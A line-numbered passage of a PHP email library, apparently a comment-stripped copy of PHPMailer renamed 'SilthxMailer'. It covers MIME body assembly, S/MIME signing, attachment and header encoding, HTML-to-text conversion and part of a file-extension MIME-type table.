  1480.                 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
  1481.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1482.                 $body .= $this->LE . $this->LE;
  1483.                 $body .= $this->attachAll('inline', $this->boundary[2]);
  1484.                 $body .= $this->LE;
  1485.                 $body .= $this->attachAll('attachment', $this->boundary[1]);
  1486.                 break;
  1487.             case 'alt':
  1488.                 $body .= $mimepre;
  1489.                 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  1490.                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  1491.                 $body .= $this->LE . $this->LE;
  1492.                 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
  1493.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1494.                 $body .= $this->LE . $this->LE;
  1495.                 if (!empty($this->Ical)) {
  1496.                     $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
  1497.                     $body .= $this->encodeString($this->Ical, $this->Encoding);
  1498.                     $body .= $this->LE . $this->LE;
  1499.                 }
  1500.                 $body .= $this->endBoundary($this->boundary[1]);
  1501.                 break;
  1502.             case 'alt_inline':
  1503.                 $body .= $mimepre;
  1504.                 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  1505.                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  1506.                 $body .= $this->LE . $this->LE;
  1507.                 $body .= $this->textLine('--' . $this->boundary[1]);
  1508.                 $body .= $this->headerLine('Content-Type', 'multipart/related;');
  1509.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  1510.                 $body .= $this->LE;
  1511.                 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  1512.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1513.                 $body .= $this->LE . $this->LE;
  1514.                 $body .= $this->attachAll('inline', $this->boundary[2]);
  1515.                 $body .= $this->LE;
  1516.                 $body .= $this->endBoundary($this->boundary[1]);
  1517.                 break;
  1518.             case 'alt_attach':
  1519.                 $body .= $mimepre;
  1520.                 $body .= $this->textLine('--' . $this->boundary[1]);
  1521.                 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  1522.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  1523.                 $body .= $this->LE;
  1524.                 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  1525.                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  1526.                 $body .= $this->LE . $this->LE;
  1527.                 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  1528.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1529.                 $body .= $this->LE . $this->LE;
  1530.                 $body .= $this->endBoundary($this->boundary[2]);
  1531.                 $body .= $this->LE;
  1532.                 $body .= $this->attachAll('attachment', $this->boundary[1]);
  1533.                 break;
  1534.             case 'alt_inline_attach':
  1535.                 $body .= $mimepre;
  1536.                 $body .= $this->textLine('--' . $this->boundary[1]);
  1537.                 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  1538.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  1539.                 $body .= $this->LE;
  1540.                 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  1541.                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  1542.                 $body .= $this->LE . $this->LE;
  1543.                 $body .= $this->textLine('--' . $this->boundary[2]);
  1544.                 $body .= $this->headerLine('Content-Type', 'multipart/related;');
  1545.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
  1546.                 $body .= $this->LE;
  1547.                 $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
  1548.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1549.                 $body .= $this->LE . $this->LE;
  1550.                 $body .= $this->attachAll('inline', $this->boundary[3]);
  1551.                 $body .= $this->LE;
  1552.                 $body .= $this->endBoundary($this->boundary[2]);
  1553.                 $body .= $this->LE;
  1554.                 $body .= $this->attachAll('attachment', $this->boundary[1]);
  1555.                 break;
  1556.             default:
  1557.                 $this->Encoding = $bodyEncoding;
  1558.                 $body .= $this->encodeString($this->Body, $this->Encoding);
  1559.                 break;
  1560.         }
  1561.         if ($this->isError()) {
  1562.             $body = '';
  1563.         } elseif ($this->sign_key_file) {
  1564.             try {
  1565.                 if (!defined('PKCS7_TEXT')) {
  1566.                     throw new phpmailerException($this->lang('extension_missing') . 'openssl');
  1567.                 }
  1568.                 $file = tempnam(sys_get_temp_dir(), 'mail');
  1569.                 if (false === @file_put_contents($file, $body)) {
  1570.                     throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
  1571.                 }
  1572.                 $signed = tempnam(sys_get_temp_dir(), 'signed');
  1573.                 if (empty($this->sign_extracerts_file)) {
  1574.                     $sign = @openssl_pkcs7_sign($file, $signed, 'file://' . realpath($this->sign_cert_file), array(
  1575.                         'file://' . realpath($this->sign_key_file),
  1576.                         $this->sign_key_pass
  1577.                     ), null);
  1578.                 } else {
  1579.                     $sign = @openssl_pkcs7_sign($file, $signed, 'file://' . realpath($this->sign_cert_file), array(
  1580.                         'file://' . realpath($this->sign_key_file),
  1581.                         $this->sign_key_pass
  1582.                     ), null, PKCS7_DETACHED, $this->sign_extracerts_file);
  1583.                 }
  1584.                 if ($sign) {
  1585.                     @unlink($file);
  1586.                     $body = @file_get_contents($signed);
  1587.                     @unlink($signed);
  1588.                     $parts = explode("\n\n", $body, 2);
  1589.                     $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
  1590.                     $body = $parts[1];
  1591.                 } else {
  1592.                     @unlink($file);
  1593.                     @unlink($signed);
  1594.                     throw new phpmailerException($this->lang('signing') . openssl_error_string());
  1595.                 }
  1596.             }
  1597.             catch (phpmailerException $exc) {
  1598.                 $body = '';
  1599.                 if ($this->exceptions) {
  1600.                     throw $exc;
  1601.                 }
  1602.             }
  1603.         }
  1604.         return $body;
  1605.     }
  1606.     protected function getBoundary($boundary, $charSet, $contentType, $encoding) {
  1607.         $result = '';
  1608.         if ($charSet == '') {
  1609.             $charSet = $this->CharSet;
  1610.         }
  1611.         if ($contentType == '') {
  1612.             $contentType = $this->ContentType;
  1613.         }
  1614.         if ($encoding == '') {
  1615.             $encoding = $this->Encoding;
  1616.         }
  1617.         $result .= $this->textLine('--' . $boundary);
  1618.         $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
  1619.         $result .= $this->LE;
  1620.         if ($encoding != '7bit') {
  1621.             $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
  1622.         }
  1623.         $result .= $this->LE;
  1624.         return $result;
  1625.     }
  1626.     protected function endBoundary($boundary) {
  1627.         return $this->LE . '--' . $boundary . '--' . $this->LE;
  1628.     }
  1629.     protected function setMessageType() {
  1630.         $type = array();
  1631.         if ($this->alternativeExists()) {
  1632.             $type[] = 'alt';
  1633.         }
  1634.         if ($this->inlineImageExists()) {
  1635.             $type[] = 'inline';
  1636.         }
  1637.         if ($this->attachmentExists()) {
  1638.             $type[] = 'attach';
  1639.         }
  1640.         $this->message_type = implode('_', $type);
  1641.         if ($this->message_type == '') {
  1642.             $this->message_type = 'plain';
  1643.         }
  1644.     }
  1645.     public function headerLine($name, $value) {
  1646.         return $name . ': ' . $value . $this->LE;
  1647.     }
  1648.     public function textLine($value) {
  1649.         return $value . $this->LE;
  1650.     }
  1651.     public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment') {
  1652.         try {
  1653.             if (!@is_file($path)) {
  1654.                 throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
  1655.             }
  1656.             if ($type == '') {
  1657.                 $type = self::filenameToType($path);
  1658.             }
  1659.             $filename = basename($path);
  1660.             if ($name == '') {
  1661.                 $name = $filename;
  1662.             }
  1663.             $this->attachment[] = array(
  1664.                 0 => $path,
  1665.                 1 => $filename,
  1666.                 2 => $name,
  1667.                 3 => $encoding,
  1668.                 4 => $type,
  1669.                 5 => false,
  1670.                 6 => $disposition,
  1671.                 7 => 0
  1672.             );
  1673.         }
  1674.         catch (phpmailerException $exc) {
  1675.             $this->setError($exc->getMessage());
  1676.             $this->edebug($exc->getMessage());
  1677.             if ($this->exceptions) {
  1678.                 throw $exc;
  1679.             }
  1680.             return false;
  1681.         }
  1682.         return true;
  1683.     }
  1684.     public function getAttachments() {
  1685.         return $this->attachment;
  1686.     }
  1687.     protected function attachAll($disposition_type, $boundary) {
  1688.         $mime    = array();
  1689.         $cidUniq = array();
  1690.         $incl    = array();
  1691.         foreach ($this->attachment as $attachment) {
  1692.             if ($attachment[6] == $disposition_type) {
  1693.                 $string  = '';
  1694.                 $path    = '';
  1695.                 $bString = $attachment[5];
  1696.                 if ($bString) {
  1697.                     $string = $attachment[0];
  1698.                 } else {
  1699.                     $path = $attachment[0];
  1700.                 }
  1701.                 $inclhash = md5(serialize($attachment));
  1702.                 if (in_array($inclhash, $incl)) {
  1703.                     continue;
  1704.                 }
  1705.                 $incl[]      = $inclhash;
  1706.                 $name        = $attachment[2];
  1707.                 $encoding    = $attachment[3];
  1708.                 $type        = $attachment[4];
  1709.                 $disposition = $attachment[6];
  1710.                 $cid         = $attachment[7];
  1711.                 if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
  1712.                     continue;
  1713.                 }
  1714.                 $cidUniq[$cid] = true;
  1715.                 $mime[]        = sprintf('--%s%s', $boundary, $this->LE);
  1716.                 if (!empty($name)) {
  1717.                     $mime[] = sprintf('Content-Type: %s; name="%s"%s', $type, $this->encodeHeader($this->secureHeader($name)), $this->LE);
  1718.                 } else {
  1719.                     $mime[] = sprintf('Content-Type: %s%s', $type, $this->LE);
  1720.                 }
  1721.                 if ($encoding != '7bit') {
  1722.                     $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
  1723.                 }
  1724.                 if ($disposition == 'inline') {
  1725.                     $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
  1726.                 }
  1727.                 if (!(empty($disposition))) {
  1728.                     $encoded_name = $this->encodeHeader($this->secureHeader($name));
  1729.                     if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
  1730.                         $mime[] = sprintf('Content-Disposition: %s; filename="%s"%s', $disposition, $encoded_name, $this->LE . $this->LE);
  1731.                     } else {
  1732.                         if (!empty($encoded_name)) {
  1733.                             $mime[] = sprintf('Content-Disposition: %s; filename=%s%s', $disposition, $encoded_name, $this->LE . $this->LE);
  1734.                         } else {
  1735.                             $mime[] = sprintf('Content-Disposition: %s%s', $disposition, $this->LE . $this->LE);
  1736.                         }
  1737.                     }
  1738.                 } else {
  1739.                     $mime[] = $this->LE;
  1740.                 }
  1741.                 if ($bString) {
  1742.                     $mime[] = $this->encodeString($string, $encoding);
  1743.                     if ($this->isError()) {
  1744.                         return '';
  1745.                     }
  1746.                     $mime[] = $this->LE . $this->LE;
  1747.                 } else {
  1748.                     $mime[] = $this->encodeFile($path, $encoding);
  1749.                     if ($this->isError()) {
  1750.                         return '';
  1751.                     }
  1752.                     $mime[] = $this->LE . $this->LE;
  1753.                 }
  1754.             }
  1755.         }
  1756.         $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
  1757.         return implode('', $mime);
  1758.     }
  1759.     protected function encodeFile($path, $encoding = 'base64') {
  1760.         try {
  1761.             if (!is_readable($path)) {
  1762.                 throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
  1763.             }
  1764.             $magic_quotes = get_magic_quotes_runtime();
  1765.             if ($magic_quotes) {
  1766.                 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  1767.                     set_magic_quotes_runtime(false);
  1768.                 } else {
  1769.                     ini_set('magic_quotes_runtime', false);
  1770.                 }
  1771.             }
  1772.             $file_buffer = @file_get_contents($path);
  1773.             $file_buffer = $this->encodeString($file_buffer, $encoding);
  1774.             if ($magic_quotes) {
  1775.                 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  1776.                     set_magic_quotes_runtime($magic_quotes);
  1777.                 } else {
  1778.                     ini_set('magic_quotes_runtime', $magic_quotes);
  1779.                 }
  1780.             }
  1781.             return $file_buffer;
  1782.         }
  1783.         catch (Exception $exc) {
  1784.             $this->setError($exc->getMessage());
  1785.             return '';
  1786.         }
  1787.     }
  1788.     public function encodeString($str, $encoding = 'base64') {
  1789.         $encoded = '';
  1790.         switch (strtolower($encoding)) {
  1791.             case 'base64':
  1792.                 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  1793.                 break;
  1794.             case '7bit':
  1795.             case '8bit':
  1796.                 $encoded = $this->fixEOL($str);
  1797.                 if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
  1798.                     $encoded .= $this->LE;
  1799.                 }
  1800.                 break;
  1801.             case 'binary':
  1802.                 $encoded = $str;
  1803.                 break;
  1804.             case 'quoted-printable':
  1805.                 $encoded = $this->encodeQP($str);
  1806.                 break;
  1807.             default:
  1808.                 $this->setError($this->lang('encoding') . $encoding);
  1809.                 break;
  1810.         }
  1811.         return $encoded;
  1812.     }
  1813.     public function encodeHeader($str, $position = 'text') {
  1814.         $matchcount = 0;
  1815.         switch (strtolower($position)) {
  1816.             case 'phrase':
  1817.                 if (!preg_match('/[\200-\377]/', $str)) {
  1818.                     $encoded = addcslashes($str, "\0..\37\177\\\"");
  1819.                     if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  1820.                         return ($encoded);
  1821.                     } else {
  1822.                         return ("\"$encoded\"");
  1823.                     }
  1824.                 }
  1825.                 $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  1826.                 break;
  1827.             case 'comment':
  1828.                 $matchcount = preg_match_all('/[()"]/', $str, $matches);
  1829.             case 'text':
  1830.             default:
  1831.                 $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  1832.                 break;
  1833.         }
  1834.         if ($matchcount == 0) {
  1835.             return ($str);
  1836.         }
  1837.         $maxlen = 75 - 7 - strlen($this->CharSet);
  1838.         if ($matchcount > strlen($str) / 3) {
  1839.             $encoding = 'B';
  1840.             if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
  1841.                 $encoded = $this->base64EncodeWrapMB($str, "\n");
  1842.             } else {
  1843.                 $encoded = base64_encode($str);
  1844.                 $maxlen -= $maxlen % 4;
  1845.                 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  1846.             }
  1847.         } else {
  1848.             $encoding = 'Q';
  1849.             $encoded  = $this->encodeQ($str, $position);
  1850.             $encoded  = $this->wrapText($encoded, $maxlen, true);
  1851.             $encoded  = str_replace('=' . self::CRLF, "\n", trim($encoded));
  1852.         }
  1853.         $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
  1854.         $encoded = trim(str_replace("\n", $this->LE, $encoded));
  1855.         return $encoded;
  1856.     }
  1857.     public function hasMultiBytes($str) {
  1858.         if (function_exists('mb_strlen')) {
  1859.             return (strlen($str) > mb_strlen($str, $this->CharSet));
  1860.         } else {
  1861.             return false;
  1862.         }
  1863.     }
  1864.     public function has8bitChars($text) {
  1865.         return (boolean) preg_match('/[\x80-\xFF]/', $text);
  1866.     }
  1867.     public function base64EncodeWrapMB($str, $linebreak = null) {
  1868.         $start   = '=?' . $this->CharSet . '?B?';
  1869.         $end     = '?=';
  1870.         $encoded = '';
  1871.         if ($linebreak === null) {
  1872.             $linebreak = $this->LE;
  1873.         }
  1874.         $mb_length = mb_strlen($str, $this->CharSet);
  1875.         $length    = 75 - strlen($start) - strlen($end);
  1876.         $ratio     = $mb_length / strlen($str);
  1877.         $avgLength = floor($length * $ratio * .75);
  1878.         for ($i = 0; $i < $mb_length; $i += $offset) {
  1879.             $lookBack = 0;
  1880.             do {
  1881.                 $offset = $avgLength - $lookBack;
  1882.                 $chunk  = mb_substr($str, $i, $offset, $this->CharSet);
  1883.                 $chunk  = base64_encode($chunk);
  1884.                 $lookBack++;
  1885.             } while (strlen($chunk) > $length);
  1886.             $encoded .= $chunk . $linebreak;
  1887.         }
  1888.         $encoded = substr($encoded, 0, -strlen($linebreak));
  1889.         return $encoded;
  1890.     }
  1891.     public function encodeQP($string, $line_max = 76) {
  1892.         if (function_exists('quoted_printable_encode')) {
  1893.             return quoted_printable_encode($string);
  1894.         }
  1895.         $string = str_replace(array(
  1896.             '%20',
  1897.             '%0D%0A.',
  1898.             '%0D%0A',
  1899.             '%'
  1900.         ), array(
  1901.             ' ',
  1902.             "\r\n=2E",
  1903.             "\r\n",
  1904.             '='
  1905.         ), rawurlencode($string));
  1906.         return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
  1907.     }
  1908.     public function encodeQPphp($string, $line_max = 76, $space_conv = false) {
  1909.         return $this->encodeQP($string, $line_max);
  1910.     }
  1911.     public function encodeQ($str, $position = 'text') {
  1912.         $pattern = '';
  1913.         $encoded = str_replace(array(
  1914.             "\r",
  1915.             "\n"
  1916.         ), '', $str);
  1917.         switch (strtolower($position)) {
  1918.             case 'phrase':
  1919.                 $pattern = '^A-Za-z0-9!*+\/ -';
  1920.                 break;
  1921.             case 'comment':
  1922.                 $pattern = '\(\)"';
  1923.             case 'text':
  1924.             default:
  1925.                 $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
  1926.                 break;
  1927.         }
  1928.         $matches = array();
  1929.         if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
  1930.             $eqkey = array_search('=', $matches[0]);
  1931.             if (false !== $eqkey) {
  1932.                 unset($matches[0][$eqkey]);
  1933.                 array_unshift($matches[0], '=');
  1934.             }
  1935.             foreach (array_unique($matches[0]) as $char) {
  1936.                 $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
  1937.             }
  1938.         }
  1939.         return str_replace(' ', '_', $encoded);
  1940.     }
  1941.     public function addStringAttachment($string, $filename, $encoding = 'base64', $type = '', $disposition = 'attachment') {
  1942.         if ($type == '') {
  1943.             $type = self::filenameToType($filename);
  1944.         }
  1945.         $this->attachment[] = array(
  1946.             0 => $string,
  1947.             1 => $filename,
  1948.             2 => basename($filename),
  1949.             3 => $encoding,
  1950.             4 => $type,
  1951.             5 => true,
  1952.             6 => $disposition,
  1953.             7 => 0
  1954.         );
  1955.     }
  1956.     public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline') {
  1957.         if (!@is_file($path)) {
  1958.             $this->setError($this->lang('file_access') . $path);
  1959.             return false;
  1960.         }
  1961.         if ($type == '') {
  1962.             $type = self::filenameToType($path);
  1963.         }
  1964.         $filename = basename($path);
  1965.         if ($name == '') {
  1966.             $name = $filename;
  1967.         }
  1968.         $this->attachment[] = array(
  1969.             0 => $path,
  1970.             1 => $filename,
  1971.             2 => $name,
  1972.             3 => $encoding,
  1973.             4 => $type,
  1974.             5 => false,
  1975.             6 => $disposition,
  1976.             7 => $cid
  1977.         );
  1978.         return true;
  1979.     }
  1980.     public function addStringEmbeddedImage($string, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline') {
  1981.         if ($type == '' and !empty($name)) {
  1982.             $type = self::filenameToType($name);
  1983.         }
  1984.         $this->attachment[] = array(
  1985.             0 => $string,
  1986.             1 => $name,
  1987.             2 => $name,
  1988.             3 => $encoding,
  1989.             4 => $type,
  1990.             5 => true,
  1991.             6 => $disposition,
  1992.             7 => $cid
  1993.         );
  1994.         return true;
  1995.     }
  1996.     public function inlineImageExists() {
  1997.         foreach ($this->attachment as $attachment) {
  1998.             if ($attachment[6] == 'inline') {
  1999.                 return true;
  2000.             }
  2001.         }
  2002.         return false;
  2003.     }
  2004.     public function attachmentExists() {
  2005.         foreach ($this->attachment as $attachment) {
  2006.             if ($attachment[6] == 'attachment') {
  2007.                 return true;
  2008.             }
  2009.         }
  2010.         return false;
  2011.     }
  2012.     public function alternativeExists() {
  2013.         return !empty($this->AltBody);
  2014.     }
  2015.     public function clearQueuedAddresses($kind) {
  2016.         $RecipientsQueue = $this->RecipientsQueue;
  2017.         foreach ($RecipientsQueue as $address => $params) {
  2018.             if ($params[0] == $kind) {
  2019.                 unset($this->RecipientsQueue[$address]);
  2020.             }
  2021.         }
  2022.     }
  2023.     public function clearAddresses() {
  2024.         foreach ($this->to as $to) {
  2025.             unset($this->all_recipients[strtolower($to[0])]);
  2026.         }
  2027.         $this->to = array();
  2028.         $this->clearQueuedAddresses('to');
  2029.     }
  2030.     public function clearCCs() {
  2031.         foreach ($this->cc as $cc) {
  2032.             unset($this->all_recipients[strtolower($cc[0])]);
  2033.         }
  2034.         $this->cc = array();
  2035.         $this->clearQueuedAddresses('cc');
  2036.     }
  2037.     public function clearBCCs() {
  2038.         foreach ($this->bcc as $bcc) {
  2039.             unset($this->all_recipients[strtolower($bcc[0])]);
  2040.         }
  2041.         $this->bcc = array();
  2042.         $this->clearQueuedAddresses('bcc');
  2043.     }
  2044.     public function clearReplyTos() {
  2045.         $this->ReplyTo      = array();
  2046.         $this->ReplyToQueue = array();
  2047.     }
  2048.     public function clearAllRecipients() {
  2049.         $this->to              = array();
  2050.         $this->cc              = array();
  2051.         $this->bcc             = array();
  2052.         $this->all_recipients  = array();
  2053.         $this->RecipientsQueue = array();
  2054.     }
  2055.     public function clearAttachments() {
  2056.         $this->attachment = array();
  2057.     }
  2058.     public function clearCustomHeaders() {
  2059.         $this->CustomHeader = array();
  2060.     }
  2061.     protected function setError($msg) {
  2062.         $this->error_count++;
  2063.         if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
  2064.             $lasterror = $this->smtp->getError();
  2065.             if (!empty($lasterror['error'])) {
  2066.                 $msg .= $this->lang('smtp_error') . $lasterror['error'];
  2067.                 if (!empty($lasterror['detail'])) {
  2068.                     $msg .= ' Detail: ' . $lasterror['detail'];
  2069.                 }
  2070.                 if (!empty($lasterror['smtp_code'])) {
  2071.                     $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
  2072.                 }
  2073.                 if (!empty($lasterror['smtp_code_ex'])) {
  2074.                     $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
  2075.                 }
  2076.             }
  2077.         }
  2078.         $this->ErrorInfo = $msg;
  2079.     }
  2080.     public static function rfcDate() {
  2081.         date_default_timezone_set(@date_default_timezone_get());
  2082.         return date('D, j M Y H:i:s O');
  2083.     }
  2084.     protected function serverHostname() {
  2085.         $result = 'localhost.localdomain';
  2086.         if (!empty($this->Hostname)) {
  2087.             $result = $this->Hostname;
  2088.         } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
  2089.             $result = $_SERVER['SERVER_NAME'];
  2090.         } elseif (function_exists('gethostname') && gethostname() !== false) {
  2091.             $result = gethostname();
  2092.         } elseif (php_uname('n') !== false) {
  2093.             $result = php_uname('n');
  2094.         }
  2095.         return $result;
  2096.     }
  2097.     protected function lang($key) {
  2098.         if (count($this->language) < 1) {
  2099.             $this->setLanguage('en');
  2100.         }
  2101.         if (array_key_exists($key, $this->language)) {
  2102.             if ($key == 'smtp_connect_failed') {
  2103.                 return $this->language[$key] . ' https://github.com/SilthxMailer/SilthxMailer/wiki/Troubleshooting';
  2104.             }
  2105.             return $this->language[$key];
  2106.         } else {
  2107.             return $key;
  2108.         }
  2109.     }
  2110.     public function isError() {
  2111.         return ($this->error_count > 0);
  2112.     }
  2113.     public function fixEOL($str) {
  2114.         $nstr = str_replace(array(
  2115.             "\r\n",
  2116.             "\r"
  2117.         ), "\n", $str);
  2118.         if ($this->LE !== "\n") {
  2119.             $nstr = str_replace("\n", $this->LE, $nstr);
  2120.         }
  2121.         return $nstr;
  2122.     }
  2123.     public function addCustomHeader($name, $value = null) {
  2124.         if ($value === null) {
  2125.             $this->CustomHeader[] = explode(':', $name, 2);
  2126.         } else {
  2127.             $this->CustomHeader[] = array(
  2128.                 $name,
  2129.                 $value
  2130.             );
  2131.         }
  2132.     }
  2133.     public function getCustomHeaders() {
  2134.         return $this->CustomHeader;
  2135.     }
  2136.     public function msgHTML($message, $basedir = '', $advanced = false) {
  2137.         preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
  2138.         if (array_key_exists(2, $images)) {
  2139.             if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
  2140.                 $basedir .= '/';
  2141.             }
  2142.             foreach ($images[2] as $imgindex => $url) {
  2143.                 if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
  2144.                     $data = substr($url, strpos($url, ','));
  2145.                     if ($match[2]) {
  2146.                         $data = base64_decode($data);
  2147.                     } else {
  2148.                         $data = rawurldecode($data);
  2149.                     }
  2150.                     $cid = md5($url) . '@phpmailer.0';
  2151.                     if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
  2152.                         $message = str_replace($images[0][$imgindex], $images[1][$imgindex] . '="cid:' . $cid . '"', $message);
  2153.                     }
  2154.                     continue;
  2155.                 }
  2156.                 if (!empty($basedir) && (strpos($url, '..') === false) && substr($url, 0, 4) !== 'cid:' && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)) {
  2157.                     $filename  = basename($url);
  2158.                     $directory = dirname($url);
  2159.                     if ($directory == '.') {
  2160.                         $directory = '';
  2161.                     }
  2162.                     $cid = md5($url) . '@phpmailer.0';
  2163.                     if (strlen($directory) > 1 && substr($directory, -1) != '/') {
  2164.                         $directory .= '/';
  2165.                     }
  2166.                     if ($this->addEmbeddedImage($basedir . $directory . $filename, $cid, $filename, 'base64', self::_mime_types((string) self::mb_pathinfo($filename, PATHINFO_EXTENSION)))) {
  2167.                         $message = preg_replace('/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui', $images[1][$imgindex] . '="cid:' . $cid . '"', $message);
  2168.                     }
  2169.                 }
  2170.             }
  2171.         }
  2172.         $this->isHTML(true);
  2173.         $this->Body    = $this->normalizeBreaks($message);
  2174.         $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
  2175.         if (!$this->alternativeExists()) {
  2176.             $this->AltBody = 'To view this email message, open it in a program that understands HTML!' . self::CRLF . self::CRLF;
  2177.         }
  2178.         return $this->Body;
  2179.     }
  2180.     public function html2text($html, $advanced = false) {
  2181.         if (is_callable($advanced)) {
  2182.             return call_user_func($advanced, $html);
  2183.         }
  2184.         return html_entity_decode(trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))), ENT_QUOTES, $this->CharSet);
  2185.     }
  2186.     public static function _mime_types($ext = '') {
  2187.         $mimes = array(
  2188.             'xl' => 'application/excel',
  2189.             'js' => 'application/javascript',
  2190.             'hqx' => 'application/mac-binhex40',
  2191.             'cpt' => 'application/mac-compactpro',
  2192.             'bin' => 'application/macbinary',
  2193.             'doc' => 'application/msword',
  2194.             'word' => 'application/msword',
  2195.             'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
  2196.             'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
  2197.             'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template',
  2198.             'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
  2199.             'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
  2200.             'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
  2201.             'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
  2202.             'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
  2203.             'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12',
  2204.             'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
  2205.             'class' => 'application/octet-stream',
  2206.             'dll' => 'application/octet-stream',
  2207.             'dms' => 'application/octet-stream',
  2208.             'exe' => 'application/octet-stream',
  2209.             'lha' => 'application/octet-stream',
  2210.             'lzh' => 'application/octet-stream',
  2211.             'psd' => 'application/octet-stream',
  2212.             'sea' => 'application/octet-stream',
  2213.             'so' => 'application/octet-stream',
  2214.             'oda' => 'application/oda',
  2215.             'pdf' => 'application/pdf',
  2216.             'ai' => 'application/postscript',
  2217.             'eps' => 'application/postscript',
  2218.             'ps' => 'application/postscript',
  2219.             'smi' => 'application/smil',
  2220.             'smil' => 'application/smil',
  2221.             'mif' => 'application/vnd.mif',
  2222.             'xls' => 'application/vnd.ms-excel',
  2223.             'ppt' => 'application/vnd.ms-powerpoint',
  2224.             'wbxml' => 'application/vnd.wap.wbxml',
  2225.             'wmlc' => 'application/vnd.wap.wmlc',
  2226.             'dcr' => 'application/x-director',
  2227.             'dir' => 'application/x-director',
  2228.             'dxr' => 'application/x-director',
  2229.             'dvi' => 'application/x-dvi',
  2230.             'gtar' => 'application/x-gtar',
  2231.             'php3' => 'application/x-httpd-php',
  2232.             'php4' => 'application/x-httpd-php',
  2233.             'php' => 'application/x-httpd-php',
  2234.             'phtml' => 'application/x-httpd-php',
  2235.             'phps' => 'application/x-httpd-php-source',
  2236.             'swf' => 'application/x-shockwave-flash',
  2237.             'sit' => 'application/x-stuffit',
  2238.             'tar' => 'application/x-tar',
  2239.             'tgz' => 'application/x-tar',
  2240.             'xht' => 'application/xhtml+xml',
